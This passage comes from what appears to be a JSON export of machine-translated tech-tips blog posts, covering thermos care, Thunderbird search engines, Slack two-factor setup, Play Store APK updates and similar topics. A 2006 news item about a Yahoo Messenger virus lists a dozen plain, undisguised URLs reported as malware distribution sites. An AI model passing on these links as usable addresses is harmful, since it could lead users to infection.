gently. After 30 minutes, pour out the vinegar water and rinse with clean water.\nIf your family has a water purifier, it is recommended to use filtered water to pour it into the bottle.\nWhen using thermos, users should not pour water over the line Max. A gap should be kept between the lid and boiling water to prevent leakage of water when boiling.\nWhen choosing to buy a thermos, choose the type of Reboil function - boil the water again when the water in the kettle cools down. Because with the type of thermos that only have the function of cooking and keeping warm, they must wait for the water to cool or replace the water, which is very inconvenient.\nLarge capacity thermos will consume more electricity than small capacity cylinders. So when choosing to buy users, select the appropriate capacity.\nHopefully, the above information will help you to use the thermos properly to ensure safety and prolong the service life for the product.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aqoaelobFursRmmqimo56xpr7EnWSwoJWjera%2FyKeeZpldqbWmvsyoqg%3D%3D\n","link":"/post/what-should-be-considered-when-using-a-thermos/","section":"post","tags":null,"title":"What should be considered when using a thermos?"},{"body":"The name of Miss Vietnam 2006 Mai Phuong Thuy has been used as a decoy to spread a new type of virus via YM since October 5, 2006. Initial information from network security centers said the virus could erase all fie Word and Excel on infected machines. Also a virus that spreads through Yahoo! Messenger chat, this time hackers use a link that spreads the virus along with a sensational introduction that implies a link that contains a \"cool\" image of Miss Vietnam. 2006 - Mai Phuong Thuy aimed at the curiosity of users of the news: Picture of Mai Phuong Thuy in the toilet . when the child is . http://my.http.vn/./miss_thuy.jpg Introduction \" Missing photos of Phuong Thuy . \" along with the link that displays the file \" miss_thuy.jpg \" has been strongly distributed with the high frequency of sending messages in the YM user community in the morning. by. Many people have been attacked and become sources of spread, spreading the virus exponentially exponentially.  YM messages with content inviting to see pictures taken sneakily in Mai Phuong Thuy appear full of computer screens in the morning of October 6 ( Source: VNN )\n\nAccording to initial research, this virus was distributed from free subdomains by a domain and hosting service provider at http.vn. Some recent internal viruses are regularly distributed via free subdomains like http.vn, vnn.bz , geocities.co . An official of the National Computer Incident Response Center (VNCERT) said that after receiving information about this virus, VNCERT had an immediate response by sending an official dispatch to 6 major ISPs in Vietnam. requires an Internet address block containing a virus to prevent infection. VNCERT also recommends that domain and hosting service providers should regularly control the content of pages using the service to prevent malicious code spreading towards the domestic Internet community. VNCERT also said that after requesting Hanoi University of Technology's Network Security Center to verify and confirm that this new virus is capable of automatically deleting all Word files (.doc files) and Excel (.xls). ), VNCERT immediately implemented the above coordination activities with ISPs to prevent the spread of harm and recommends that users do not click on links attached to the content mentioned in the article. According to statistics, there have been new links containing viruses every 2 weeks, even though BKIS has announced that 10 objects have been found to be the culprits for spreading internal viruses. While the remedial measures have not proved effective, many people ask why Vietnamese authorities do not directly contact Yahoo service providers to take measures. Thorough prevention? Answering this question, VNCERT representative said they had a plan to contact Yahoo to add more functions to YahooMessenger to automatically block links to spread viruses or for users to install additional blocking tools. can. However, the Yahoo side has not yet had official response information. Even if we have a comprehensive solution, we still recommend users to raise their awareness of participating in online activities to minimize the risk of virus attacks. VietNamNet has listed some new YM virus links that have appeared in about two weeks now (please note that readers do not try to access these links because there may still be viruses): www.nuhondau.nhacvn.org http://www.geocities.co.jp/thanatos18388 http://thptnguyengiathieu.com http://www.stb.tsukuba-ac.jp/thuviennhacbn1/index.html http://www33.websamba.com/xomnuocden/dungdedoi.html http://kyniemmoitinh.com http://members.lycos.co.uk/freesoftvn/audition1.txt http://hoadongnoi.biz http://66.98.138.31/~kfc/giaitri/thugian1ti.html http://vnnnn.com http://www33.websamba.com/xomnuocden/dungdedoi.html http://quatangtraitim.us.tf According to the latest information, the BKIS Center has updated the latest version of BKAV to be removed by the YM virus, implying the image of Mai Phuong Thuy. When running BKAV, you need to start Windows in Safe Mode. The Phong\nncG1vNJzZmismaXArq3KnmWcp51kxq551aKcraaRonqku8ymrKehpK56p63CnqpmrpmnwrR5zJqgZqiYqryvs4ytn66x\n","link":"/post/ym-vietnam-community-faces-virus-mai-phuong-thuy/","section":"post","tags":null,"title":"YM Vietnam community faces virus 'Mai Phuong Thuy'"},{"body":"One of the most popular hairstyles in Asia especially Vietnam is the Layer hairstyle. You know, most Asian men have small and slightly round faces. So to create accents and highlight your face, creating a layer hair model is a great choice.\n    The male layer hairstyles curling gently\n  The layer hairstyle for men is very nice round face\n  Layer men's hairstyle\n  Men's hairstyle layer shaving 2 sides\n  Men's layer hairstyle for oval face\n  Men's layer hairstyle for round face\n  Layer men's hairstyle for the most beautiful long-face\n  The most beautiful men's hairstyle\n  Double layer men's hairstyle\n  Korean men's layer hairstyle\n  Men's layer hair style without curling\n  Hairstyles layer most beautiful silly male\n  Stupid male hairstyles\n  The most beautiful square men's face hairstyle\n  The best short hairstyle for men\n  The hairstyle of the short male layer is beautiful\n  Short hairstyle for men\n  The male layer hairstyle is slightly curled\n  Lightly curly men's hairstyles\n  Men's layer hairstyle\n  Men's hairstyle layer curly\n  Men's Korean thinning hairstyle\n  Men's hairstyle trimmed round face\n  Nice men's hairstyle\n  Hair layer for men with long face\n  The best men's trimmed hair\n  Men's hair layer\n  Men's hair trimmed in Korean style\n  Men's hair undercut layer\n  Curly hair layer for male is very beautiful\nThank you for taking the time to follow the article 30+ Antarctic Layer Hairstyles 2020 and do not forget to leave a comment below to contribute comments for the article.\nncG1vNJzZmismaXArq3KnmWcp51kgHF5xLGrq52dmrm6ecGemK6smZvCrXnLmrCeql2drqq%2B0q2wpZ2jYn9xfo8%3D\n","link":"/post/30-extremely-beautiful-layer-hairstyles-2020/","section":"post","tags":null,"title":"30+ Extremely beautiful Layer Hairstyles 2020"},{"body":"    following the series of articles on the internet topic, in the quiz below, the network administrator will send you interesting questions collected from reliable sources for you to supplement your knowledge.   please read the knowledge of the internet with the following multiple choice questions of network administrator. with this question set, hope you will get more useful knowledge about this topic.   below is a set of multiple-choice questions on the internet, inviting readers to consult.   summary of multiple choice questions about the internet. let's try and see if you understand about this topic to where?   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miZmquZmHqsus6wo56cl5p6orrDZpuenpmjtrW1zqeqZqeWYsGpsYyipa2doqOytXrHraSl\n","link":"/post/basic-knowledge-and-definitions-of-the-internet/","section":"post","tags":null,"title":"basic knowledge and definitions of the internet"},{"body":"The famous 404 'Not Found' ('Not Found') error is often referred to as the 'last web site', it is a cultural symbol, a joke. It is printed on a T-shirt, drawn in a comic, it is something that you may not understand, but surely using the Internet must meet at least once in your life.\nError 404 also seems to express a personal emotion that every time you see it, the whole world understands: a disappointment when encountering an unexpected incident. It also reminds us that technology in general, and the web in particular, is not perfect.\nAfter all, the Internet is a machine that is 'oiled' to operate. It is a paradise garden built with hypertext segments pointing to a specific address, but also filled with broken links, faulty images and unfinished information.\nSee more: What is the term Broken Link in SEO?\nNot long after its birth, the technology world was rumored about its origin. In the early 2000s, it was reported that it originated in room 404 - where the first web servers were located at CERN, (European nuclear research organization) is also the father's office World Wide Web Heart Berners-Lee, and that rarely finds him here.\nWhen asked about the 404 error, Robert Cailliau, along with Berners-Lee, was the pioneer of creating a hypertext structure that led to the web today, saying that this is a fabrication.\n  Each page shows a way, but seeing everyone's 404 number is understandable\nError codes are necessary but not of top concern.'When writing code for the new system, you won't spend much time writing long messages for the arising error situation that you discovered , ' Cailliau wrote. At that time, memory was also a problem, too long notice was impossible. 'Today's people cannot understand what 64KB memory programming is,' he wrote.\nThe solution is to create a series of numbers for errors, coming from 'programmers' unexpected ideas'. Client-side errors are in range 400 and '404' is assigned to an 'not found' error. '404 has nothing to do with a particular room or place at CERN,' Cailliau said. 'Absolutely a myth.'\nSee also: Google wants to remove 404 error messages on Chrome\nWhen asked why this error made people care, Cailliau said 'I don't think 404 is so popular and I don't care either. Perhaps it is only because people love fairy tales rather than facts. ' He also said that this trait of humans was previously harmless, because personal effects were low and information spread slowly.\nBut now, thanks to the Internet, this feature has a dangerous power. He example of the past US presidential election, the deterioration of the EU, the political feedback on violence and gun use . Pixar's 404 error page wrote: 'Don't cry. It's just a 404 error! ' beside the illustration of Inside Out character is crying.\n  Tumblr has another interesting way: 'There is nothing here. Unless you're looking for an error page, congratulations! You found it. ' (http://alongseriesofsemirandomkeystrokes.tumblr.com/)\n  Obviously, every time I surf the web and want to find a web address, which of us wants to get lost in the 404 room? But what is the perfect life?\nThe sun alone has only one, and Tumblr's father has only one in the world\nIf you're curious about common computer errors, read this article: Decode common computer error messages\nncG1vNJzZmismaXArq3KnmWcp51ksrO%2BzqtknqqipL9ugI9tZJynnZrAbrvUrWSfqp%2BierO7zqZkbWhk\n","link":"/post/error-error-404-comes-out-from-room-404/","section":"post","tags":null,"title":"Error Error 404 comes out from room 404?"},{"body":"Adding a custom search engine in Mozilla Thunderbird is difficult and prone to compatibility errors. Follow the procedure below to access your favorite search engine from this email client!\nFind the default search engine First, you need to find your default search engine for the Thunderbird client. To do this, select any email text and see the default search options available. The article ran old version 60 with Bing as the default search option.\n  Add Google Search Before adding the Google search engine in the default Thunderbird settings, it is important that you upgrade Thunderbird to the latest version (68.1 at the time of this writing).\nFirst, close the Thunderbird application and visit the Mozilla official website, to download the latest Thunderbird application.\nMigrating to a higher version will not take long, if you already use existing email with the Thunderbird client. You do not have to uninstall the previous version, as it will automatically sync with the latest update. Wait for all your emails to appear on the dashboard.\nOnce done, go to the three dash menu and click 'Options' twice. Then go to 'General'.\n  \nHere, you can locate the latest search engines. To change to Google, just select it as shown in the image below.\n  The next time you search for a new text, it will show Google as the default search option.\n  Add DuckDuckGo Similar to the above procedure, you need to choose DuckDuckGo as the default search engine.\n  As soon as you select any text, DuckDuckGo will be triggered for search results with a specific term.\n  Repeat the process for any other custom search engine including Amazon, Wikipedia and Twitter.\nAdd custom search engine Thunderbird also allows you to add your own search engines, as long as you have XML files.\nIf you can download the XML file for any other search engine compatible with Thunderbird, click the 'Add from file' button and add the XML file of that custom search engine to the list. For example, for StartPage, you can download its XML file from this link (right click and select 'Save link' ).\n  Additionally, you can create XML files of custom search engines. Very easy to do so.\n1. Open notepad and paste the following text:\n Custom Search Engine Name Custom Search Engine Description utf-8  2. Change the following:\nCustom Search Engine Name - Change this section to custom search engine name. Custom Search Engine Description - Add a description for this custom search engine. https: // search-engine-url - Change this to a custom search engine URL. - You may want to change this if the search parameter is not 's'. For more details, refer to the OpenSearch documentation at:\nhttp://www.opensearch.org/Home  3. Save the file as 'custom-search.xml'. Import the file into Thunderbird and it will show up in the list.\nAlthough changing the search engine in Thunderbird is not difficult, the option to do so is not simple, especially if you want to add a search engine not in the list. The instructions above allow you to easily add your favorite custom search engine.\nDo you have any questions or problems on this topic? Please let TipsMake.com know in the comments below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqkwdKtpqZlo5qus6%2FHZpynn5mjsm61zWaroa2embKzrsirmw%3D%3D\n","link":"/post/how-to-add-custom-search-engine-in-thunderbird/","section":"post","tags":null,"title":"How to add custom search engine in Thunderbird"},{"body":"In the article below, TipsMake will guide some of the commands you need to specifically adjust the volume of ‌Siri‌.\nHow to change the volume of Siri on the HomePod On HomePod or HomePod mini, you can ask Siri to set a fixed volume level, which is a separate adjustment from the media player.\n  To do this, say 'Hey Siri, change your volume to [percentage]', or say something else as long as Siri can understand it.\nFor example, if you tell Siri to set the volume level to 34%, it will adjust even though the music volume stays the same. Siri can be forced to speak louder or lower than the volume of the music that is playing.\nChange the volume of music on the HomePod You can adjust the volume of media content with the same command, and this will increase or decrease the volume of the music without changing the volume of Siri.\nTo change the volume of multimedia content, say 'Hey Siri, change the media volume to [percent]'.\nThe volume of music can be adjusted using the + or - buttons above the HomePod or via a connected iPhone / iPad. However, adjusting the volume of Siri requires a command.\nNote : A lot of users report that Siri's volume doesn't stay the same as on-demand forever, it will revert to default auto level about some time after playing on request. Unfortunately, there is no way to fix this at this time.\nhomepod mini homepod ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lpqS5trnEZqafZaOev6p5zqdkraCVYrWwucSppp0%3D\n","link":"/post/how-to-change-the-volume-of-siri-on-the-homepod/","section":"post","tags":null,"title":"How to change the volume of Siri on the HomePod"},{"body":"Although Photoshop is an image editing tool, not specialized in drawing geometric content, you can still use it to draw triangles. How to draw triangles in Photoshop is very simple and there are many different ways, in addition, you can set parameters of colors, borders, . In this article, the Software Tips will guide you through How to draw a triangle in Photoshop.\n  Method 1. Draw a triangle with a geometric drawing tool Step 1: Keep your mouse on the Polygon Tool and select the Polygon Tool , then you will have the following settings:\nShape: Sharp drawing Fill: Fill the triangle with color Stroke: The outline of a triangle Sides: The edges of the figure, we draw a triangle so we will set up 3 edges.   Step 2: Then, you hold the mouse and drag to create a triangle according to your settings above. So, you drew the triangle in Photoshop.\n  Method 2. Draw a triangle with the Pen tool Step 1: You proceed to select the Pen Tool -\u0026gt; Pen Tool to use and set as follows.\nSharp: Draw sharp Fill: Fill the triangle with color Stroke: The border of a triangle   Step 2: After you finish setting, you click the first time to score corners for the image and click the other two corners to form a triangle. Finally, you end the shape by clicking on the first point we dotted to complete the triangle.\n  And here is our triangle after we have finished drawing with the Pen Tool.\n  Step 1: Select the Polygon Tool and select Custom Shape Tool .\n  Step 2: Then click on Shape to select the image you want to draw.\n  Step 3: Then, you hold and drag the mouse to form a triangle.\n  In this article, Software Tips showed you how to draw triangles quickly and beautifully in Photoshop. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRurYytqaKZnpy5pnnIp2SpoJ%2BpvLS0zqk%3D\n","link":"/post/how-to-draw-a-triangle-in-photoshop/","section":"post","tags":null,"title":"How to draw a triangle in Photoshop"},{"body":"In the process of surfing the web, you come across a good website and want to keep it for use when you need it, or share it with your friends, but there are quite a number of pages if taken with the screen capture function available on Windows. You can't take it all, you'll have to take each part and stitch them together, it takes a lot of time. If you encounter such a situation, please refer to our guide to taking photos of the entire website on Chrome, Coc Coc and Firefox.\nHow to take iPhone phone screen shot? \nInstructions for filming a screen with Bandicam How to use Camtasia Studio to record a screen? 1. How to take photos of websites on Chrome, Coc Coc Step 1 : Download the Webpage Screenshot extension for Chrome, Coc Coc\n    Step 2 : When adding success, the utility will appear at the end of the address bar with different options depending on the intended use.\n  Capture entire page: Capture the entire web page, this option will give you a long-term website snapshot, capture the entire web page with one click without scrolling, capturing, merging images together . Capture visible part: Capture only the parts that are currently on the screen, visible. Capture selection: Capture the part you selected on the screen. Here, we select Capture entire page as an example:\n  The right pane will have options for the photo you just took: save as an image, save as a PDF file, copy to Clipboard or print. Depending on your choice, the application will open the image to a new tab and allow you to save it in the selected format.\n2. How to take photos of websites on Firefox Step 1 : First, you need to install the FireShot utility in Firefox.\n  In the Utilities window, select the Add utility and type FireShot in the Search box and proceed with the installation.\n  After installation, Firefox will ask you to reboot so the utility can work\nStep 3 : When Firefox is opened, the utility will be at the end of the address bar.\n  Click on Custom to set the parameters\n  From now on, every time you want to capture the web site just click on the S icon\n  As such, we have introduced you how to take website photos on both Chrome and Firefox. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJuvMeoq6irXaSzbsDHnmSwnZKotrWxjJyYqaylp7JuwMeeZLCgn6GybsPEm6qirJVivK95wqGpqKWVYq6vsIyfoKudlqTF\n","link":"/post/how-to-take-photos-of-the-website-capture-the-whole-website-on-chrome-and-firefox/","section":"post","tags":null,"title":"How to take photos of the website, capture the whole website on Chrome and Firefox"},{"body":"iOS 12 has been officially updated on iPhone, iPad with many useful features such as using Google Maps on Carplay, increasing device performance, or completely turning off WiFi, Bluetooth right on the main screen.\nWith the feature to turn off WiFi, Bluetooth right on the Home screen, we will need to ask for a Siri Shortcuts application. Usually to turn off WiFi connection, Bluetooth is completely on iPhone you need to access Settings. This application will create shortcuts for WiFi, Bluetooth in the widget screen for users to turn off the connection right there. The following article will guide users how to turn off WiFi, Bluetooth on the iPhone main screen.\nHow to create personal Memoji icons on iOS 12 Errors after upgrading iOS 12 and how to fix it 5 security settings to do right on iOS 12 How to turn off WiFi, Bluetooth on the iPhone Home screen Step 1:\nFirst of all, users need to download Siri Shortcuts application according to the link below. iPhone must install iOS 12 to be used.\nDownload Siri Shortcuts application Step 2:\nFirst, open the widget interface on the device and then click the Edit button . Appear all apps and settings on iPhone, click on Siri Shortcuts application (Shortcut) as shown.\n   Step 3:\nYou will then see the app added to the widget list, tap Done . Go back to the main interface to open the widget page and see Siri Shortcuts application.\n   Step 4:\nGo to Siri Shortcuts application and see the main interface as shown, click Create shortcut . Appear interface to add new shortcuts.\n   Step 5:\nIn the search bar, press WiFi and click on the result Set Wi-Fi below. Switch to the new interface in the Set Wi-Fi section, turn off the WiFi feature by turning the horizontal bar to the left. Then click on the configuration icon next to the Save icon to the right of the screen.\n   Step 6:\nIn the Settings interface first, activate the Show in widget option . Then in the Name section click to change the name of the shortcut.\n   Next to the Icon section we can change the icon for WiFi shortcut if desired. You can click on Color to select a different color. Click on the Stroke section and select the Icon section to select another icon. Go back to the Done pressing interface to save the WiFi shortcut.\n    Step 7:\nWe also perform the above steps with Bluetooth to create shortcuts.\n   Step 8:\nGoing back to the Siri Shortcuts application interface will see 2 shortcuts created. Opening the widget screen will see 2 shortcuts and turn off Blueooth turn off. You just need to press this key to completely disable the WiFi connection, Bluetooth is okay.\n    Through Siri Shortcuts application on iOS 12, you can turn off WiFi and Bluetooth connection completely right on the Home screen main screen without having to access Settings. We can create more shortcuts for other tasks on iPhone using Siri Shortcuts application.\nVideo tutorial off WiFi, Bluetooth from iPhone Home screen See more:\nHow to limit the time to use the application on iOS 12 How to use the non-disturbing feature of going to bed on iOS 12 Add the QR code scanning function to Control Center on iOS 12 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZLChlp56orrDZpmlrZWpvLDAx2aaqKWgobK1scuyZJ%2Bqn6J6tbTEZqCpoJ%2Bjsm65wKKlZquTp7Kmug%3D%3D\n","link":"/post/how-to-turn-off-wifi-and-bluetooth-completely-from-the-iphone-main-screen/","section":"post","tags":null,"title":"How to turn off WiFi and Bluetooth completely from the iPhone main screen"},{"body":"Slack provides two-factor authentication for account security, and in this guide, you'll learn the steps to enable this feature.\nSlack supports two-factor authentication If you use Slack to connect and collaborate with colleagues when working from home or the office, you can add an extra layer of security to your account by turning on two-factor authentication (2FA).\nSlack supports two methods to configure two-factor authentication, including using an authentication application or SMS text message. However, using an authentication application is the easiest and recommended method.\nIn this tutorial, you will learn the steps to enable two-factor authentication on your Slack account.\nHow to set up two-factor authentication on Slack To secure your Slack account with two-factor authentication (2FA), follow these steps:\n1. Open Slack on the web.\n2. Login with login information.\n3. Open the account's Settings page .\n4. In the Two-Factor Authentication section , click the Expand button .\n5. Click the Set Up Two-Factor Authentication button .\nClick the Set Up Two-Factor Authentication button 6. Enter your current password.\n7. Click the Confirm Password button .\n8. Click the Use an app option to get the code from the authentication application on your phone.\nClick the Use an app option Quick tip : You can use apps like Google Authenticator or Microsoft Authenticator. Alternatively, you can also select the SMS Text Message option to receive text messages to your mobile device and complete the login process.\n9. Open the authentication application on your phone.\n10. Click the Add account (+) button in the upper right corner of the application. (If using Microsoft Authentication, you need to click the three dot menu button, press the + button and select Other  account ).\n11. Scan the barcode image on the Slack page, using the phone camera.\n12. Confirm the code that appears on the phone on the Slack page.\n13. Click the Verify Code and Activate button .\nClick the Verify Code and Activate button 14. (Optional) Confirm your phone number as a backup authentication method.\n15. Click the Add number or Skip button .\nClick the Add number or Skip button 16. Click the Print code button .\nClick the Print code button 17. In the Printer section , select the Save as PDF option .\nSelect the Save as PDF option 18. Click the Save button .\n19. Save the files in a safe location, because you will need these codes if you lose access to your authentication device.\nWhen you complete the steps, Slack will be configured with two-factor authentication. When you need to log back into Slack, open the authentication application on your phone and provide the generated code along with your password to access the account.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq7CnlpawtbvRZpiurJiau7W1wpqroqeeYryvedKlmJyj\n","link":"/post/how-to-turn-on-two-factor-authentication-on-slack/","section":"post","tags":null,"title":"How to turn on two-factor authentication on Slack"},{"body":"Google Play Store is a store that contains thousands of Android applications. Formerly known as the Android Market, the official Google store now has more options like books, magazines, movies, music, . in addition to offering just each app. Unlike other apps that can update at any time, the Play Store can't update as often. Google updates the Play Store automatically in the background.\nHowever, for certain reasons, the Play Store may stop working and no longer automatically update, the app also cannot download because the Play Store version is too old.\nIn cases like these, you can either manually update the Play Store or force the app store to look for the update. Below, TipsMake will guide you through these operations.\nHere are three methods you can use to manually update the Play Store on Android.\nMethod 1: From the settings of Play Store We all know the Google Play Store is updated automatically. However, you can completely update manually through the application's settings.\nFollow these steps.\nStep 1. Open the Play Store app on your phone. Click the icon of 3 horizontal bars in the left corner of the screen. From this menu, select Settings .\n  Step 2. In the Settings page , scroll down and locate the Play Store versions. If an update is available, the Play Store will start updating automatically. If your Play Store version is the most recent, you'll get a Play Store notification that has been updated.\n  Method 2: Delete Play Store data Another way to force the Play Store to update automatically is to delete the app's data. When doing this, Google will automatically check for the latest update.\nTo clear Play Store data, follow these steps:\nStep 1. In the device Settings (Settings) from the quick access menu or click the icon Settings (Settings) .\nStep 2. Select Apps / Application Manager (Apps / Application Manager / Installed apps) depending on the device you use. Next, find and select Google Play Store .\n  Step 3. In the Google Play Store information, select Storage . In that window select Clear storage / Clear data (Clear Storage / Clear Data) .\n  Step 4. Reboot the device, wait about 2-3 minutes for the Play Store to update automatically.\nMethod 3: Use APK If the above two methods do not work, you can manually install the latest version of Play Store via APK file.\nSince we are updating the Play Store from an external source, Android devices will request access for security reasons. You need to allow certain permissions to be able to install the file normally.\nInstall APK files on devices before Android Oreo (Nougat, Marshmallow, .)\nStep 1. Click on the Settings section of the device and select Security / Privacy .\n  Step 2. Next, find the Unknown sources section . Enable this feature, confirm when notifications pop out.\n  Install APK files on Oreo and Android Pie\nStep 1. Click Settings on your device and go to Apps \u0026amp; notifications .\n  Step 2. On the Apps \u0026amp; notifications screen , select Special app access . Next, select Install unknown apps .\n  Step 3. Click on the web browser you use to download the APK file. Next, enable the 'Allow from this source / Allow from this source' feature .\n  Find the latest Play Store APKs\nThe APKMirror website has a huge amount of APK files, including the Play Store. You can download the Play Store APK file from this website. Click on the latest version. Next, scroll down in the Download section, download the file appropriate for your device.\nInstall the APK file\nAfter downloading the APK file and allowing the necessary permissions, click on that file to install. That's all you need to do.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYytn55loKGuunnSraarnV2WvbF5xaipZpmemb%2BwtcM%3D\n","link":"/post/how-to-update-the-play-store-app-for-android/","section":"post","tags":null,"title":"How to update the Play Store app for Android"},{"body":"If you frequently have to use Gmail and want to track sent messages, you can install the Unlimited Email Tracker utility. With important emails and you need to know if the recipient has opened the email, the utility will notify the user when the email has been opened. So you will know the current status of the email to choose another contact solution if they haven't opened the email yet.\nThe utility also has a timer feature to automatically send an email to the entered address and a reminder when the incoming email has not been opened. So users have more ways to manage Gmail. The following article will guide you how to use the Unlimited Email Tracker utility on Gmail.\nHow to create a job assignment table on Gmail? How to schedule email with Boomerang utility How to send email to self-destruct (Confidential Mode) in Gmail 14 useful tools for Gmail should not be ignored - P2 How to track Gmail with Unlimited Email Tracker Step 1:\nUsers click on the link below to install the Unlimited Email Tracker utility on Chrome browser. Note that if you have another email tracking utility installed, it is necessary to disable the utility to avoid conflicts\nDownload the Unlimited Email Tracker utility   Step 2:\nNext we log into the personal Gmail account. It then displays a pop-up so that the user allows Unlimited Email Tracker to work on the Gmail account, pressing Active .\n  As a result, you will see the icon of the Unlimited Email Tracker widget currently in the Gmail interface.\n  Step 3:\nConduct compose email as usual and see display in email editor with 3 new icons integrated. Each icon will have different features.\n  When clicking on one of these 3 features, you will be asked to access the Snovio extension to your Gmail account and to manage drafts and emails, etc.\n  Click Allow to agree to allow access.\n  Step 4:\nWhen you click on the email icon with the clock (Send your message at a specific time) , the user will be given the option to send the email. Here we can select the preset time frames in the list. If you want to select another time, press Set date \u0026amp; time.\n  Select the date you want to send and adjust the specific time via 2 ladders below. Finally, click Send later to schedule an email. Email is saved in Drafts and emailed automatically when you arrive on the calendar. The utility also sends an email notification with a pop-up interface on the screen.\n  Step 5:\nClick on the clock icon (Set a reminder) , the user will be prompted if the email sent has not been opened by the recipient. First, select the time you want to receive reminders, can choose the time available or press Set date \u0026amp; time to schedule.\n  Next we choose the action to trigger reminders including Not opened (No mail opened), No clicked (not clicked on the link), No reply (no response), In any case (in any case).\nFinally, check on Remind me and proceed to send mail as usual.\n  Step 6:\nClick on the bell icon (Enable tracking for this email) to enable the tracking feature for sending email.\nUsers will then see notifications in each email indicating their open status. Each state is expressed through different colors.\nWhite label: Email is not open. Purple label: Email has been opened with the number of openings. Green label: The email has been opened with the number of clicks on the link (if any) inside.   Step 7:\nUtility Unlimited Email Tracker can work on many different Gmail accounts because you have installed the utility on Chrome browser. Just agree to allow Unlimited Email Tracker to work on your Gmail account.\nClick on the widget icon on the toolbar to turn off the notification feature on the user's account.\n  With the Unlimited Email Tracker utility, users can control more than the email they send as well as add some other options such as automatic scheduling. Notifications show pop-ups at the bottom of the screen to let users know the status of emails quickly.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq2usuipKKslZl6prnAoqNmrKKWsKyx0WarqGWjmLWmsNSlnGafnZa2rXnSnqWdoZ6c\n","link":"/post/how-to-use-unlimited-email-tracker-to-schedule-gmail-sending/","section":"post","tags":null,"title":"How to use Unlimited Email Tracker to schedule Gmail sending"},{"body":"Since iOS 10 version, you can easily realize that sometimes your iPhone will automatically light up the screen when you pick up the phone or even just move the device a little bit. This happens because of iOS's new feature called Raise to Wake . This feature helps you quickly see the time, battery, message, new notification or enable Widget or camera more easily when just lifting the device.\nRaise to Wake is a nice and useful feature, but sometimes it will bring about a certain discomfort when the device's sensor does not distinguish the purposeful movement of the user. Where is the natural movement as when moving. Imagine when you have to move quickly home when your iPhone is about to run out of battery and you are waiting for an important call. Due to the Raise to Awake feature, the device is constantly turned on when you move, making the iPhone battery faster than usual. So how to turn off this feature?\nGo to Settings\u0026gt; Display \u0026amp; Brightness. You will then see the Raise to Awake feature in the middle of the screen. Turn it off.   Please follow the pictures below if you use Vietnamese language for iPhone:\n      You do not need to reboot your computer or do anything else to save your changes.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZquVobOtwcyipaito2LApL7EnqVmrJiewG610maroZ1dmK62v8RmmKecXam1pnnWmrBmp5ab\n","link":"/post/iphone-self-luminous-screen-this-is-the-cause-and-the-way-off/","section":"post","tags":null,"title":"iPhone self-luminous screen? This is the cause and the way off"},{"body":"In the process of using Word, sometimes you will encounter cases of opening Word files but errors cannot open. You do not know what to do when the file is a file that does not contain much important data.\nIn the following article will guide you how to use the Repair feature available in Word and the software to help you recover corrupted Word files.\n1. Use the Repair feature available in Word. First you open Word, then select File -\u0026gt; Open -\u0026gt; select the location of the error file.\n  In the Open dialog box , navigate to the faulty file and select Recover Text from Any File next to the File Name box . Then click Open to open the file.\n  In addition, you can use the Word file recovery feature by opening the Open dialog box , instead of clicking Open to open, you select the opposite triangle next to the word Open and select Open and Repair to restore fix errors and open the file.\n  2. Use the software to recover corrupted files. If you use the corrupted Word file recovery feature and still cannot open the corrupted Word file. You can use DocRepair software to fix Word file errors.\nYou download and install DocRepair into the system, DocRepair's error recovery process consists of 3 steps, you follow the steps on the program interface.\n  So you know some ways to recover corrupted Word files, you can apply to fix when encountering case of corrupted Word file. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6avzq%2Bcq2WRo7FuvsSpmKKqXZi8s77UqauenF2svLOwjJ%2BgpZ2jYr%2BmvMCiqWacn5h6p7XLnqo%3D\n","link":"/post/recover-and-repair-corrupted-word-files/","section":"post","tags":null,"title":"Recover and repair corrupted Word files"},{"body":"Call of Duty Mobile, abbreviated as CODM has launched Vietnamese gamers for a while. Since the announcement of the international CODM server beta, many gamers have downloaded to experience the COD version on the mobile platform and including Call of Duty Mobile PC.\nUp to now, the game now has an official server in Vietnam and has quickly become one of the leading shooting games with diverse game modes, including Battle Royale mode.\nNot only that, the arsenal of Call of Duty Mobile is also quite abundant and gamers can also easily unlock or own the gun skins in the game. You can get guns from Code Call of Duty Mobile and try through all the guns and find a gun that suits you best, or at least you know how to use each type suitable for many different situations.\nHowever, you can also refer to the list of the most powerful guns in Call of Duty Mobile below and check it out.\nList of strongest guns COD Mobile VN DL-Q33   One of the most powerful guns in the game, it takes only 1 bullet to kill the enemy. DLQ33 is one of the favorite Sniper rifles because of its high damage, good range.\nJust adding a viewfinder accessory to the DLQ33 adds the precision of this gun. DLQ33 is also used by many professional gamers, this is also the first sniper gun that you receive when participating in the tutorial screen at the beginning of the game.\nAK117   The AK117 is one of the most versatile weapons because of its quick fire rate but is easy to control. The AK117 is more beneficial than other weapons as it can attach most accessories. Just combining this AK117 with the extended magazine, stock and a Red Dot sighting accessory will make the AK117 a monster on the Call of Duty Mobile VN battlefield.\nS36   The rate of fire of the S36 is the factor that makes this gun in the list of the most powerful gun Cod Mobile. S36 is suitable for close combat. Moreover, the low recoil also makes the S36 quite beginner friendly. And it can work stably, without any extra accessories.\nArctic .50   Arctic 50 is the perfect replacement for DLQ33 in Call of Duty Mobile. Adding a scope scope and extended magazine for the Arctic 50 will make this sniper rifle perfect for close and medium range battles. Arctic 50 works similarly to DLQ33 and can one shot - one kill any enemy.\nSMRS   SMRS is a rocket launcher that can take down multiple enemies at the same time with just one shot. With 85 damage, SMRS becomes one of the best and most dangerous weapons for long-range combat.\u0026nbsp;\nDespite its high damage and wide range of effects, SMRS is difficult to use and if not careful. You may be in danger if you hold this Rocket Launcher in your hand.\nAbove is the top strongest gun in Call of Duty Mobile VN, of course it is effective or not depends on whether you use the right case or 